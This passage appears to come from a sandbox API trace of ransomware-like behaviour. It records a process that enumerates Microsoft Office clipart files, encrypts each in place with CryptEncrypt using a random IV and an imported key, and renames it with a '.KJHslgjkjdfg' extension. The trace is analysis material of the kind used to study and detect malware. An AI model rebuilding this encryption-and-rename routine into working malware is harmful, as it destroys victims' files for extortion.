0x2ef0000 [0200.190] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.190] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.190] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.190] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.190] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.190] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.190] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.190] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.190] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.191] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.191] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1424, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1424, lpOverlapped=0x0) returned 1 [0200.192] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1430, dwBufLen=0x1430 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1430) returned 1 [0200.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.192] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1430, lpOverlapped=0x0) returned 1 [0200.192] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.192] SetEndOfFile (hFile=0x130) returned 1 [0200.197] GetProcessHeap () returned 0x2ef0000 [0200.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.197] GetProcessHeap () returned 0x2ef0000 [0200.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.197] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.kjhslgjkjdfg")) returned 1 [0200.199] CloseHandle (hObject=0x130) returned 1 [0200.199] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1 [0200.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.201] GetProcessHeap () returned 0x2ef0000 [0200.201] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.201] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.201] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.201] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.201] GetProcessHeap () returned 0x2ef0000 [0200.201] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.201] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.201] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.201] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.203] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.203] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.203] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.204] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.204] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.204] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.204] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1560, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1560, lpOverlapped=0x0) returned 1 [0200.213] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1560, dwBufLen=0x1560 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1560) returned 1 [0200.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.213] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1560, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1560, lpOverlapped=0x0) returned 1 [0200.213] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.213] SetEndOfFile (hFile=0x130) returned 1 [0200.216] GetProcessHeap () returned 0x2ef0000 [0200.216] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.216] GetProcessHeap () returned 0x2ef0000 [0200.216] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.kjhslgjkjdfg")) returned 1 [0200.217] CloseHandle (hObject=0x130) returned 1 [0200.217] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1 [0200.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.218] GetProcessHeap () returned 0x2ef0000 [0200.218] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.219] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.219] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.219] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.224] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.224] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.224] GetProcessHeap () returned 0x2ef0000 [0200.224] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.224] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.224] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.224] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.224] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.224] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.224] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.225] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.225] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.225] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.225] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1034, lpOverlapped=0x0) returned 1 [0200.226] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1040, dwBufLen=0x1040 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1040) returned 1 [0200.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.226] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1040, lpOverlapped=0x0) returned 1 [0200.226] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.226] SetEndOfFile (hFile=0x130) returned 1 [0200.228] GetProcessHeap () returned 0x2ef0000 [0200.228] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.228] GetProcessHeap () returned 0x2ef0000 [0200.228] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.228] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.kjhslgjkjdfg")) returned 1 [0200.230] CloseHandle (hObject=0x130) returned 1 [0200.230] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1 [0200.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.230] GetProcessHeap () returned 0x2ef0000 [0200.230] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.231] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.231] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.231] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.231] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.231] GetProcessHeap () returned 0x2ef0000 [0200.231] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.231] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.231] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.231] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.245] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.245] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.245] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.245] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.245] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.245] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.246] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb60, lpOverlapped=0x0) returned 1 [0200.246] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb60, dwBufLen=0xb60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb60) returned 1 [0200.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.246] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb60, lpOverlapped=0x0) returned 1 [0200.246] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.246] SetEndOfFile (hFile=0x130) returned 1 [0200.248] GetProcessHeap () returned 0x2ef0000 [0200.248] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.248] GetProcessHeap () returned 0x2ef0000 [0200.248] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.kjhslgjkjdfg")) returned 1 [0200.249] CloseHandle (hObject=0x130) returned 1 [0200.249] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1 [0200.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.250] GetProcessHeap () returned 0x2ef0000 [0200.250] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.250] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.251] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.252] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.252] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.253] GetProcessHeap () returned 0x2ef0000 [0200.253] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.253] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.253] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.253] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.253] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.253] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.253] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 